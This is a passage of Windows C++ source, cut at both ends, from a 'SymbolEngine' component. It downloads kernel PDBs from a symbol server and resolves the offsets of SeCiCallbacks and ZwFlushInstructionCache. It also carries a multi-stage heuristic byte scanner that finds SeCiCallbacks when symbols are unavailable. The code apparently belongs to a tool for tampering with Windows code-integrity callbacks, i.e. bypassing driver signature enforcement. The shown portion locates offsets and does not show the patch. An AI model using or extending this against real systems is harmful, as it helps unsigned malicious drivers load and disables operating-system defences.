        nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
    
    if (hFile == INVALID_HANDLE_VALUE) {
        ERROR(L"[SymbolEngine] Failed to open PE file: %s (error: %d)", pePath.c_str(), GetLastError());
        return std::nullopt;
    }
    
    HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr);
    if (!hMapping) {
        ERROR(L"[SymbolEngine] Failed to create file mapping for PE (error: %d)", GetLastError());
        CloseHandle(hFile);
        return std::nullopt;
    }
    
    LPVOID pBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    if (!pBase) {
        ERROR(L"[SymbolEngine] Failed to map view of file (error: %d)", GetLastError());
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return std::nullopt;
    }
    
    std::wstring pdbName, guidStr;
    PIMAGE_DOS_HEADER pDos = static_cast<PIMAGE_DOS_HEADER>(pBase);
    
    if (pDos->e_magic == IMAGE_DOS_SIGNATURE) {
        PIMAGE_NT_HEADERS pNt = reinterpret_cast<PIMAGE_NT_HEADERS>(
            reinterpret_cast<BYTE*>(pBase) + pDos->e_lfanew);
        
        if (pNt->Signature == IMAGE_NT_SIGNATURE) {
            DWORD debugDirRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
            DWORD debugDirSize = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size;
            
            if (debugDirRva && debugDirSize) {
                // Convert RVA to file offset properly since we mapped the file flat, not as SEC_IMAGE
                PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
                PIMAGE_DEBUG_DIRECTORY pDebugDir = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(
                    ImageRvaToVa(pNt, pBase, debugDirRva, &pSection));
                
                if (pDebugDir) {
                    for (DWORD i = 0; i < debugDirSize / sizeof(IMAGE_DEBUG_DIRECTORY); i++) {
                        if (pDebugDir[i].Type == IMAGE_DEBUG_TYPE_CODEVIEW) {
                            struct CV_INFO_PDB70 {
                                DWORD CvSignature;
                                GUID Signature;
                                DWORD Age;
                                char PdbFileName[1];
                            };
                            
                            // PointerToRawData is already a raw file offset
                            CV_INFO_PDB70* pCv = reinterpret_cast<CV_INFO_PDB70*>(
                                reinterpret_cast<BYTE*>(pBase) + pDebugDir[i].PointerToRawData);
                            
                            if (pCv->CvSignature == 0x53445352) {
                                wchar_t guidBuf[64];
                                swprintf_s(guidBuf, L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
                                    pCv->Signature.Data1, pCv->Signature.Data2, pCv->Signature.Data3,
                                    pCv->Signature.Data4[0], pCv->Signature.Data4[1],
                                    pCv->Signature.Data4[2], pCv->Signature.Data4[3],
                                    pCv->Signature.Data4[4], pCv->Signature.Data4[5],
                                    pCv->Signature.Data4[6], pCv->Signature.Data4[7],
                                    pCv->Age);
                                guidStr = guidBuf;
                                
                                int len = MultiByteToWideChar(CP_UTF8, 0, pCv->PdbFileName, -1, nullptr, 0);
                                if (len > 0) {
                                    std::vector<wchar_t> wbuf(len);
                                    MultiByteToWideChar(CP_UTF8, 0, pCv->PdbFileName, -1, wbuf.data(), len);
                                    
                                    std::wstring fullPath = wbuf.data();
                                    size_t lastSlash = fullPath.find_last_of(L"\\/");
                                    pdbName = (lastSlash != std::wstring::npos) 
                                        ? fullPath.substr(lastSlash + 1) 
                                        : fullPath;
                                }
                                break;
                            }
                        }
                    }
                } else {
                    ERROR(L"[SymbolEngine] ImageRvaToVa failed to resolve Debug Directory RVA");
                }
            } else {
                ERROR(L"[SymbolEngine] No debug directory found in PE headers");
            }
        } else {
            ERROR(L"[SymbolEngine] Invalid NT signature");
        }
    } else {
        ERROR(L"[SymbolEngine] Invalid DOS signature");
    }
    
    UnmapViewOfFile(pBase);
    CloseHandle(hMapping);
    CloseHandle(hFile);
    
    if (pdbName.empty() || guidStr.empty()) {
        ERROR(L"[SymbolEngine] Failed to extract PDB info (Name or GUID is empty)");
        return std::nullopt;
    }
    
    return std::make_pair(pdbName, guidStr);
}

// ============================================================================
// PDB DOWNLOAD - DIRECTLY TO TARGET LOCATION
// ============================================================================

bool SymbolEngine::DownloadPdbToDisk(const std::wstring& pdbName, 
                                      const std::wstring& guid,
                                      const std::wstring& targetPath) noexcept {
    // Create directory structure
    std::wstring dirPath = targetPath.substr(0, targetPath.find_last_of(L"\\/"));
    if (!CreateDirectoryTree(dirPath)) {
        ERROR(L"[SymbolEngine] Failed to create directory: %s", dirPath.c_str());
        return false;
    }
    
    // Build download URL
    std::wstring url = m_symbolServer + L"/" + pdbName + L"/" + guid + L"/" + pdbName;
    DEBUG(L"[SymbolEngine] Downloading from: %s", url.c_str());
    DEBUG(L"[SymbolEngine] Target path: %s", targetPath.c_str());
    
    // Download directly to file
    std::vector<BYTE> data;
    if (!HttpDownload(url, data)) {
        ERROR(L"[SymbolEngine] HTTP download failed");
        return false;
    }
    
    DEBUG(L"[SymbolEngine] Downloaded %zu bytes", data.size());
    
    // Write to target file
    HANDLE hFile = CreateFileW(targetPath.c_str(), GENERIC_WRITE, 0, nullptr,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    
    if (hFile == INVALID_HANDLE_VALUE) {
        ERROR(L"[SymbolEngine] Failed to create file: %s (error: %d)", 
              targetPath.c_str(), GetLastError());
        return false;
    }
    
    DWORD bytesWritten = 0;
    BOOL writeSuccess = WriteFile(hFile, data.data(), static_cast<DWORD>(data.size()), 
                                   &bytesWritten, nullptr);
    CloseHandle(hFile);
    
    if (!writeSuccess || bytesWritten != data.size()) {
        ERROR(L"[SymbolEngine] Failed to write PDB file");
        DeleteFileW(targetPath.c_str());
        return false;
    }
    
    SUCCESS(L"[SymbolEngine] PDB saved: %s (%d bytes)", targetPath.c_str(), bytesWritten);
    return true;
}

bool SymbolEngine::CreateDirectoryTree(const std::wstring& path) noexcept {
    if (PathIsDirectoryW(path.c_str())) {
        return true;
    }
    
    // Find parent directory
    size_t pos = path.find_last_of(L"\\/");
    if (pos != std::wstring::npos) {
        std::wstring parent = path.substr(0, pos);
        if (!CreateDirectoryTree(parent)) {
            return false;
        }
    }
    
    // Create this directory
    if (!CreateDirectoryW(path.c_str(), nullptr)) {
        DWORD err = GetLastError();
        if (err != ERROR_ALREADY_EXISTS) {
            DEBUG(L"[SymbolEngine] CreateDirectory failed: %s (error: %d)", path.c_str(), err);
            return false;
        }
    }
    
    return true;
}

bool SymbolEngine::HttpDownload(const std::wstring& url, std::vector<BYTE>& output) noexcept {
    URL_COMPONENTSW urlParts = { sizeof(urlParts) };
    wchar_t host[256] = { 0 };
    wchar_t path[1024] = { 0 };

    urlParts.lpszHostName = host;
    urlParts.dwHostNameLength = _countof(host);
    urlParts.lpszUrlPath = path;
    urlParts.dwUrlPathLength = _countof(path);

    if (!WinHttpCrackUrl(url.c_str(), 0, 0, &urlParts)) {
        DEBUG(L"[SymbolEngine] WinHttpCrackUrl failed: %d", GetLastError());
        return false;
    }

    HINTERNET hSession = WinHttpOpen(L"SymbolEngine/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

    if (!hSession) {
        DEBUG(L"[SymbolEngine] WinHttpOpen failed: %d", GetLastError());
        return false;
    }

    WinHttpSetTimeouts(hSession, 10000, 10000, 30000, 30000);

    HINTERNET hConnect = WinHttpConnect(hSession, urlParts.lpszHostName, urlParts.nPort, 0);
    if (!hConnect) {
        DEBUG(L"[SymbolEngine] WinHttpConnect failed: %d", GetLastError());
        WinHttpCloseHandle(hSession);
        return false;
    }

    DWORD flags = (urlParts.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0;
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", urlParts.lpszUrlPath,
        nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, flags);

    if (!hRequest) {
        DEBUG(L"[SymbolEngine] WinHttpOpenRequest failed: %d", GetLastError());
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return false;
    }

    if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
        DEBUG(L"[SymbolEngine] WinHttpSendRequest failed: %d", GetLastError());
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return false;
    }

    if (!WinHttpReceiveResponse(hRequest, nullptr)) {
        DEBUG(L"[SymbolEngine] WinHttpReceiveResponse failed: %d", GetLastError());
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return false;
    }

    DWORD statusCode = 0;
    DWORD size = sizeof(statusCode);
    if (!WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
        WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &size, WINHTTP_NO_HEADER_INDEX)) {
        DEBUG(L"[SymbolEngine] WinHttpQueryHeaders failed: %d", GetLastError());
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return false;
    }

    if (statusCode != 200) {
        DEBUG(L"[SymbolEngine] HTTP error: %d", statusCode);
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return false;
    }

    output.clear();
    BYTE buffer[8192];
    DWORD bytesRead = 0;

    while (WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        const size_t oldSize = output.size();
        output.resize(oldSize + bytesRead);
        memcpy(&output[oldSize], buffer, bytesRead);
    }

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    if (output.empty()) {
        DEBUG(L"[SymbolEngine] No data received");
        return false;
    }

    return true;
}

// ============================================================================
// OFFSET CALCULATION FROM LOCAL PDB
// ============================================================================

std::optional<std::pair<DWORD64, DWORD64>> SymbolEngine::CalculateOffsetsFromDisk(
    const std::wstring& pdbPath,
    const std::wstring& pdbName) noexcept
{
    DEBUG(L"[SymbolEngine] Calculating offsets from PDB: %s", pdbPath.c_str());

    // Extract directory from full path
    std::wstring pdbDir = pdbPath.substr(0, pdbPath.find_last_of(L"\\/"));
    
    // Re-initialize DbgHelp with PDB directory
    if (m_initialized) {
        SymCleanup(GetCurrentProcess());
        m_initialized = false;
    }

    std::wstring symbolPath = L"SRV*" + pdbDir;
    
    DWORD options = SymGetOptions();
    SymSetOptions(options | SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS | 
                  SYMOPT_DEBUG | SYMOPT_CASE_INSENSITIVE | SYMOPT_LOAD_LINES);

    if (!SymInitializeW(GetCurrentProcess(), symbolPath.c_str(), FALSE)) {
        ERROR(L"[SymbolEngine] SymInitializeW failed: %d", GetLastError());
        return std::nullopt;
    }
    m_initialized = true;

    // Load module
    DWORD64 baseAddr = 0x140000000;
    DWORD64 loadedModule = SymLoadModuleExW(GetCurrentProcess(), nullptr,
        pdbPath.c_str(), nullptr, baseAddr, 0, nullptr, 0);

    if (loadedModule == 0) {
        ERROR(L"[SymbolEngine] SymLoadModuleExW failed: %d", GetLastError());
        SymCleanup(GetCurrentProcess());
        m_initialized = false;
        return std::nullopt;
    }

    DEBUG(L"[SymbolEngine] Module loaded at: 0x%llX", loadedModule);

    // Resolve symbols
    std::vector<BYTE> symBuffer(sizeof(SYMBOL_INFOW) + (MAX_SYM_NAME * sizeof(wchar_t)));
    PSYMBOL_INFOW pSymbol = reinterpret_cast<PSYMBOL_INFOW>(symBuffer.data());
    pSymbol->SizeOfStruct = sizeof(SYMBOL_INFOW);
    pSymbol->MaxNameLen = MAX_SYM_NAME;

    DWORD64 offSeCi = 0;
    DWORD64 offZwFlush = 0;

    if (SymFromNameW(GetCurrentProcess(), L"SeCiCallbacks", pSymbol)) {
        offSeCi = pSymbol->Address - baseAddr;
        DEBUG(L"[SymbolEngine] SeCiCallbacks RVA: 0x%llX", offSeCi);
    } else {
        DEBUG(L"[SymbolEngine] SeCiCallbacks not found: %d", GetLastError());
    }

    if (SymFromNameW(GetCurrentProcess(), L"ZwFlushInstructionCache", pSymbol)) {
        offZwFlush = pSymbol->Address - baseAddr;
        DEBUG(L"[SymbolEngine] ZwFlushInstructionCache RVA: 0x%llX", offZwFlush);
    } else {
        DEBUG(L"[SymbolEngine] ZwFlushInstructionCache not found: %d", GetLastError());
    }

    // Cleanup DbgHelp
    SymUnloadModule64(GetCurrentProcess(), loadedModule);
    SymCleanup(GetCurrentProcess());
    m_initialized = false;

    // Validate
    if (offSeCi == 0 || offZwFlush == 0) {
        ERROR(L"[SymbolEngine] Failed to resolve symbols: SeCi=0x%llX, ZwFlush=0x%llX", 
              offSeCi, offZwFlush);
        return std::nullopt;
    }

    SUCCESS(L"[SymbolEngine] Symbol resolution successful");
    DEBUG(L"[SymbolEngine] Offsets - SeCi: 0x%llX, ZwFlush: 0x%llX", offSeCi, offZwFlush);
    
    return std::make_pair(offSeCi, offZwFlush);
}

BOOL CALLBACK SymbolEngine::SymbolCallback(HANDLE, ULONG, ULONG64, ULONG64) {
    return TRUE;
}

// ============================================================================
// HEURISTIC SCANNER (SeCiFinder-style fallback when PDB is unavailable)
// ============================================================================
// Implements Fast -> Structural -> Legacy cascade, matching SeCiFinder.cpp logic.
// ZwFlushInstructionCache is resolved from the export table (always available).

namespace {

template<typename T> static T Min(T a, T b) { return a < b ? a : b; }

struct ScnInfo {
    DWORD va, vs, rawPtr, rawSize, chars;
};

struct PeCtx {
    const BYTE* base;
    DWORD       size;
    DWORD       imageBase;  // unused for offsets but kept for clarity
    ScnInfo     sections[32];
    DWORD       sectionCount;
    // Exception directory (.pdata)
    DWORD       exceptionDirVa, exceptionDirSize;
};

static DWORD RvaToOffset(const PeCtx& ctx, DWORD rva) {
    for (DWORD i = 0; i < ctx.sectionCount; i++) {
        DWORD vs = ctx.sections[i].vs ? ctx.sections[i].vs : ctx.sections[i].rawSize;
        if (rva >= ctx.sections[i].va && rva < ctx.sections[i].va + vs)
            return ctx.sections[i].rawPtr + (rva - ctx.sections[i].va);
    }
    return 0;
}

static bool OffsetToRva(const PeCtx& ctx, DWORD off, DWORD& rva, int& secIdx) {
    for (DWORD i = 0; i < ctx.sectionCount; i++) {
        if (off >= ctx.sections[i].rawPtr && off < ctx.sections[i].rawPtr + ctx.sections[i].rawSize) {
            rva = ctx.sections[i].va + (off - ctx.sections[i].rawPtr);
            secIdx = (int)i;
            return true;
        }
    }
    return false;
}

static int SecIdxForRva(const PeCtx& ctx, DWORD rva) {
    for (DWORD i = 0; i < ctx.sectionCount; i++) {
        DWORD vs = ctx.sections[i].vs ? ctx.sections[i].vs : ctx.sections[i].rawSize;
        if (rva >= ctx.sections[i].va && rva < ctx.sections[i].va + vs) return (int)i;
    }
    return -1;
}

static bool IsWritableData(const PeCtx& ctx, int secIdx) {
    if (secIdx < 0 || (DWORD)secIdx >= ctx.sectionCount) return false;
    return (ctx.sections[secIdx].chars & 0x80000000) && !(ctx.sections[secIdx].chars & 0x20000000);
}

static bool IsRipLea(const PeCtx& ctx, DWORD off) {
    if (off + 7 > ctx.size) return false;
    const BYTE* p = ctx.base + off;
    return ((p[0] & 0xF8) == 0x48) && p[1] == 0x8D && ((p[2] & 0xC7) == 0x05);
}

struct Store {
    DWORD off, rva, len, imm32, targetRva;
    int   targetSec;
    bool  isQword;
};

static bool ReadStore(const PeCtx& ctx, DWORD off, Store& s) {
    if (off + 10 > ctx.size) return false;
    const BYTE* p = ctx.base + off;
    DWORD dispOff, len;
    bool isQ = false;
    if (off + 11 <= ctx.size && p[0] == 0x48 && p[1] == 0xC7 && p[2] == 0x05) {
        dispOff = 3; len = 11; isQ = true;
    } else if (p[0] == 0xC7 && p[1] == 0x05) {
        dispOff = 2; len = 10;
    } else return false;

    DWORD rva; int sec;
    if (!OffsetToRva(ctx, off, rva, sec)) return false;

    LONG rel32 = *(const LONG*)(p + dispOff);
    s.off       = off;
    s.rva       = rva;
    s.len       = len;
    s.imm32     = *(const DWORD*)(p + dispOff + 4);
    s.targetRva = (DWORD)((LONGLONG)rva + len + rel32);
    s.targetSec = SecIdxForRva(ctx, s.targetRva);
    s.isQword   = isQ;
    return true;
}

// Returns pair: qword_gap, Store. gap==0 means not found.
static bool FindQwordAfter(const PeCtx& ctx, DWORD startOff, DWORD endOff, DWORD& gap, Store& qs) {
    DWORD maxEnd = Min(endOff, startOff + 0x20);
    for (DWORD o = startOff + 1; o < maxEnd; o++) {
        Store s;
        if (!ReadStore(ctx, o, s)) continue;
        if (!s.isQword || !IsWritableData(ctx, s.targetSec)) continue;
        gap = o - startOff;
        qs = s;
        return true;
    }
    return false;
}

static bool FindRtfBounds(const PeCtx& ctx, DWORD rva, DWORD& beginOff, DWORD& endOff) {
    if (ctx.exceptionDirVa == 0 || ctx.exceptionDirSize < 12) return false;
    DWORD dirOff = RvaToOffset(ctx, ctx.exceptionDirVa);
    if (dirOff == 0 || dirOff >= ctx.size) return false;
    DWORD entries = Min(ctx.exceptionDirSize / 12, (ctx.size - dirOff) / 12);
    for (DWORD i = 0; i < entries; i++) {
        const BYTE* e = ctx.base + dirOff + i * 12;
        DWORD bRva = *(DWORD*)(e), eRva = *(DWORD*)(e + 4);
        if (bRva == 0 || eRva <= bRva || !(bRva <= rva && rva < eRva)) continue;
        DWORD bOff = RvaToOffset(ctx, bRva);
        DWORD eOff = RvaToOffset(ctx, eRva - 1);
        if (!bOff || !eOff) continue;
        beginOff = bOff;
        endOff   = eOff + 1;
        return true;
    }
    return false;
}

// ScoreZeroingWindow: count zeroing indicators near LEA
static int ScoreZero(const PeCtx& ctx, DWORD leaOff, DWORD& zeroSize, bool& hasSize) {
    int score = 0;
    zeroSize = 0; hasSize = false;
    DWORD end = Min((DWORD)ctx.size, leaOff + 96);
    const BYTE* start = ctx.base + leaOff;
    const BYTE* p;
    const BYTE* e = ctx.base + end;

    bool zeroFound = false, callFound = false;
    for (p = start; p + 2 <= e; p++) {
        if ((p[0] == 0x33 && p[1] == 0xD2) || (p[0] == 0x31 && p[1] == 0xD2) ||
            (p + 3 <= e && p[0] == 0x48 && p[1] == 0x33 && p[2] == 0xD2)) {
            zeroFound = true; break;
        }
    }
    for (p = start; p + 6 <= e && !hasSize; p++) {
        if (p[0] == 0x41 && p[1] == 0xB8) {
            DWORD imm = *(DWORD*)(p+2);
            if (imm >= 0x40 && imm <= 0x400) { zeroSize = imm; hasSize = true; }
        }
        if (p + 7 <= e && p[0] == 0x49 && p[1] == 0xC7 && p[2] == 0xC0) {
            DWORD imm = *(DWORD*)(p+3);
            if (imm >= 0x40 && imm <= 0x400) { zeroSize = imm; hasSize = true; }
        }
    }
    for (p = start; p + 5 <= e; p++) {
        if (p[0] == 0xE8) { callFound = true; break; }
    }
    if (zeroFound)  score++;
    if (hasSize)    score++;
    if (callFound)  score++;
    return score;
}

// Count unique MOV targets hitting [seciRva, seciRva+0x28)
static int CountMovHits(const PeCtx& ctx, DWORD matchOff, DWORD seciRva, DWORD radius) {
    DWORD start = matchOff > radius ? matchOff - radius : 0;
    DWORD end   = Min((DWORD)ctx.size, matchOff + radius);
    DWORD seciEnd = seciRva + 0x28;
    DWORD targets[64]; int cnt = 0;
    for (DWORD i = start; i + 6 < end; ) {
        Store s;
        if (i + 11 <= end && ctx.base[i] == 0x48 && ctx.base[i+1] == 0xC7 && ctx.base[i+2] == 0x05) {
            if (ReadStore(ctx, i, s) && seciRva <= s.targetRva && s.targetRva < seciEnd) {
                bool found = false;
                for (int k = 0; k < cnt; k++) if (targets[k] == s.targetRva) { found = true; break; }
                if (!found && cnt < 64) targets[cnt++] = s.targetRva;
            }
            i += 11; continue;
        }
        if (ctx.base[i] == 0xC7 && ctx.base[i+1] == 0x05) {
            if (ReadStore(ctx, i, s) && seciRva <= s.targetRva && s.targetRva < seciEnd) {
                bool found = false;
                for (int k = 0; k < cnt; k++) if (targets[k] == s.targetRva) { found = true; break; }
                if (!found && cnt < 64) targets[cnt++] = s.targetRva;
            }
            i += 10; continue;
        }
        i++;
    }
    return cnt;
}

static DWORD FindExportRva(const PeCtx& ctx, const char* name) {
    // Export directory is DataDirectory[0]
    // Locate from NT headers
    const BYTE* dos = ctx.base;
    if (ctx.size < 0x40 || dos[0] != 'M' || dos[1] != 'Z') return 0;
    DWORD e_lfanew = *(DWORD*)(dos + 0x3C);
    if (e_lfanew + 0x18 + 8 > ctx.size) return 0;
    const BYTE* nth = dos + e_lfanew;
    if (*(DWORD*)nth != 0x00004550) return 0;
    // Optional header starts at nth+24, DataDirectory[0] is at +24+16 = +40 from optional header start
    DWORD optHdrOff = e_lfanew + 24;
    if (optHdrOff + 8 > ctx.size) return 0;
    USHORT magic = *(USHORT*)(dos + optHdrOff);
    DWORD expDirOff = (magic == 0x020B) ? optHdrOff + 112 : optHdrOff + 96;
    if (expDirOff + 8 > ctx.size) return 0;
    DWORD expVa = *(DWORD*)(dos + expDirOff);
    if (expVa == 0) return 0;
    DWORD expOff = RvaToOffset(ctx, expVa);
    if (!expOff || expOff + 40 > ctx.size) return 0;
    const BYTE* exp = dos + expOff;
    DWORD count    = *(DWORD*)(exp + 24);
    DWORD funcVa   = *(DWORD*)(exp + 28);
    DWORD nameVa   = *(DWORD*)(exp + 32);
    DWORD ordVa    = *(DWORD*)(exp + 36);
    DWORD funcOff  = RvaToOffset(ctx, funcVa);
    DWORD nameOff  = RvaToOffset(ctx, nameVa);
    DWORD ordOff   = RvaToOffset(ctx, ordVa);
    if (!funcOff || !nameOff || !ordOff) return 0;
    for (DWORD i = 0; i < count; i++) {
        DWORD nOff = RvaToOffset(ctx, *(DWORD*)(dos + nameOff + i*4));
        if (!nOff || nOff >= ctx.size) continue;
        const char* fn = (const char*)(dos + nOff);
        DWORD j = 0;
        while (name[j] && fn[j] == name[j]) j++;
        if (!name[j] && !fn[j]) {
            WORD ord = *(WORD*)(dos + ordOff + i*2);
            return *(DWORD*)(dos + funcOff + ord*4);
        }
    }
    return 0;
}

static bool ParsePeCtx(PeCtx& ctx) {
    const BYTE* dos = ctx.base;
    if (ctx.size < 0x40 || dos[0] != 'M' || dos[1] != 'Z') return false;
    DWORD e_lfanew = *(DWORD*)(dos + 0x3C);
    if (e_lfanew + sizeof(DWORD) + 20 > ctx.size) return false;
    const BYTE* nth = dos + e_lfanew;
    if (*(DWORD*)nth != 0x00004550) return false;
    WORD numSec = *(WORD*)(nth + 6);
    WORD optLen = *(WORD*)(nth + 20);
    if (numSec > 32) numSec = 32;
    ctx.sectionCount = numSec;

    // Exception directory
    DWORD optOff = e_lfanew + 24;
    USHORT magic = *(USHORT*)(dos + optOff);
    DWORD excDirOff = (magic == 0x020B) ? optOff + 120 : optOff + 104;
    if (excDirOff + 8 <= ctx.size) {
        ctx.exceptionDirVa   = *(DWORD*)(dos + excDirOff);
        ctx.exceptionDirSize = *(DWORD*)(dos + excDirOff + 4);
    }

    const BYTE* secTbl = nth + 4 + 20 + optLen;
    if ((DWORD)(secTbl - dos) + numSec * 40 > ctx.size) return false;
    for (WORD i = 0; i < numSec; i++) {
        const BYTE* s = secTbl + i * 40;
        ctx.sections[i].vs      = *(DWORD*)(s + 8);
        ctx.sections[i].va      = *(DWORD*)(s + 12);
        ctx.sections[i].rawSize = *(DWORD*)(s + 16);
        ctx.sections[i].rawPtr  = *(DWORD*)(s + 20);
        ctx.sections[i].chars   = *(DWORD*)(s + 36);
    }
    return true;
}

// Fast method (same as kvc_smss, score threshold 110)
static DWORD FastFindSeCi(const PeCtx& ctx) {
    LONG bestScore = -1;
    DWORD bestRva = 0;
    const DWORD FAST_MIN_SCORE = 110;
    const DWORD STRUCT_OFFSET = 4;
    const DWORD LEA_LEN = 7;

    for (DWORD i = 0; i < ctx.sectionCount; i++) {
        if (!(ctx.sections[i].chars & 0x20000000)) continue;
        DWORD secStart = ctx.sections[i].rawPtr;
        DWORD secEnd   = secStart + ctx.sections[i].rawSize;
        if (secEnd > ctx.size) secEnd = ctx.size;

        for (DWORD fo = secStart; fo + 10 <= secEnd; fo++) {
            if (ctx.base[fo] != 0xC7 || ctx.base[fo+1] != 0x05) continue;
            if (fo > 0 && ctx.base[fo-1] == 0x48) continue;

            Store st;
            if (!ReadStore(ctx, fo, st) || st.isQword || !IsWritableData(ctx, st.targetSec)) continue;
            if (!(st.imm32 >= 0x40 && st.imm32 <= 0x4000)) continue;

            DWORD searchStart, searchEnd;
            DWORD bOff, eOff;
            DWORD stRva; int stSec;
            OffsetToRva(ctx, fo, stRva, stSec);
            if (FindRtfBounds(ctx, stRva, bOff, eOff)) {
                searchStart = bOff;
                searchEnd   = Min(eOff, fo + 0x40);
            } else {
                searchStart = fo > 0x600 ? fo - 0x600 : 0;
                searchEnd   = Min(ctx.size, fo + 0x40);
            }

            DWORD qgap; Store qs;
            if (!FindQwordAfter(ctx, fo, searchEnd, qgap, qs)) continue;
            if (!IsWritableData(ctx, qs.targetSec)) continue;

            if (fo < LEA_LEN || fo <= searchStart) continue;

            DWORD leaTargetRva = st.targetRva + STRUCT_OFFSET;
            DWORD leaOff = fo - LEA_LEN;
            for (;;) {
                if (IsRipLea(ctx, leaOff)) {
                    DWORD leaRva; int leaSec;
                    if (OffsetToRva(ctx, leaOff, leaRva, leaSec)) {
                        LONG rel32 = *(LONG*)(ctx.base + leaOff + 3);
                        DWORD leaTarget = (DWORD)((LONGLONG)leaRva + LEA_LEN + rel32);
                        if (leaTarget == leaTargetRva && IsWritableData(ctx, SecIdxForRva(ctx, leaTarget))) {
                            DWORD zeroSz; bool hasZero;
                            int zs = ScoreZero(ctx, leaOff, zeroSz, hasZero);
                            if (zs >= 2) {
                                LONG score = 80;
                                score += zs * 12;
                                score += 30 - (LONG)Min(qgap, (DWORD)24);
                                LONG pen = (LONG)((fo - leaOff) / 32); if (pen > 12) pen = 12;
                                score -= pen;
                                DWORD qd = qs.targetRva - st.targetRva;
                                if (qd > 0) score += 8;
                                if (st.imm32 == 0x108) score += 12;
                                if (hasZero) {
                                    if (qs.targetRva - leaTarget == zeroSz) score += 18;
                                    if (st.imm32 == zeroSz + 12) score += 18;
                                    else if (st.imm32 == zeroSz + 8 || st.imm32 == zeroSz + 16) score += 6;
                                }
                                if (qd == st.imm32 - 8) score += 20;
                                if (score > bestScore) { bestScore = score; bestRva = st.targetRva; }
                            }
                        }
                    }
                }
                if (leaOff == searchStart) break;
                leaOff--;
            }
        }
    }
    return bestScore >= (LONG)FAST_MIN_SCORE ? bestRva : 0;
}

// Structural method (exhaustive LEA scan, zero_score>=3)
static DWORD StructuralFindSeCi(const PeCtx& ctx) {
    const DWORD LEA_LEN = 7, STRUCT_OFFSET = 4, FWD = 0x240;
    LONG bestScore = -1;
    DWORD bestRva = 0;

    for (DWORD i = 0; i < ctx.sectionCount; i++) {
        if (!(ctx.sections[i].chars & 0x20000000)) continue;
        DWORD secStart = ctx.sections[i].rawPtr;
        DWORD secEnd   = Min(secStart + ctx.sections[i].rawSize, ctx.size);

        for (DWORD leaOff = secStart; leaOff + LEA_LEN <= secEnd; leaOff++) {
            if (!IsRipLea(ctx, leaOff)) continue;
            DWORD leaRva; int leaSec;
            if (!OffsetToRva(ctx, leaOff, leaRva, leaSec)) continue;
            LONG rel32 = *(LONG*)(ctx.base + leaOff + 3);
            DWORD targetRva = (DWORD)((LONGLONG)leaRva + LEA_LEN + rel32);
            if (!IsWritableData(ctx, SecIdxForRva(ctx, targetRva))) continue;

            DWORD zeroSz; bool hasZero;
            int zs = ScoreZero(ctx, leaOff, zeroSz, hasZero);
            if (zs < 3) continue;

            DWORD seciRva = targetRva - STRUCT_OFFSET;
            DWORD bOff, eOff;
            DWORD searchEnd;
            if (FindRtfBounds(ctx, leaRva, bOff, eOff)) searchEnd = eOff;
            else searchEnd = Min((DWORD)ctx.size, leaOff + FWD);

            for (DWORD pos = leaOff; pos + 10 <= searchEnd; pos++) {
                Store st;
                if (!ReadStore(ctx, pos, st) || st.isQword || st.targetRva != seciRva) continue;
                DWORD qgap; Store qs;
                bool hasQ = FindQwordAfter(ctx, pos, searchEnd, qgap, qs);
                int hits = CountMovHits(ctx, pos, seciRva, 300);
                int score = 30 + zs * 10 + hits;
                DWORD pen = (pos - leaOff) / 32; if (pen > 10) pen = 10;
                score -= (int)pen;
                if (hasQ) {
                    DWORD gc = Min(qgap, (DWORD)16);
                    score += 50 - (int)gc;
                    if (IsWritableData(ctx, qs.targetSec)) score += 5;
                }
                if (st.imm32 >= 0x40 && st.imm32 <= 0x400) score += 5;
                if (st.imm32 == 0x108) score += 10;
                if (hasZero) {
                    if (st.imm32 == zeroSz + 12) score += 10;
                    else if (st.imm32 == zeroSz || st.imm32 == zeroSz + 4 || st.imm32 == zeroSz + 8) score += 5;
                }
                if (score > bestScore) { bestScore = score; bestRva = seciRva; }
            }
        }
    }
    return bestScore >= 0 ? bestRva : 0;
}

// Legacy anchor method
static DWORD LegacyFindSeCi(const PeCtx& ctx) {
    static const BYTE kHead[2] = {0xC7, 0x05};
    static const BYTE kTail[7] = {0x08, 0x01, 0x00, 0x00, 0x48, 0xC7, 0x05};
    const DWORD LEA_LEN = 7, STRUCT_OFFSET = 4;
    LONG bestScore = -1;
    DWORD bestRva = 0;

    for (DWORD pos = 0; pos + 2 <= ctx.size; pos++) {
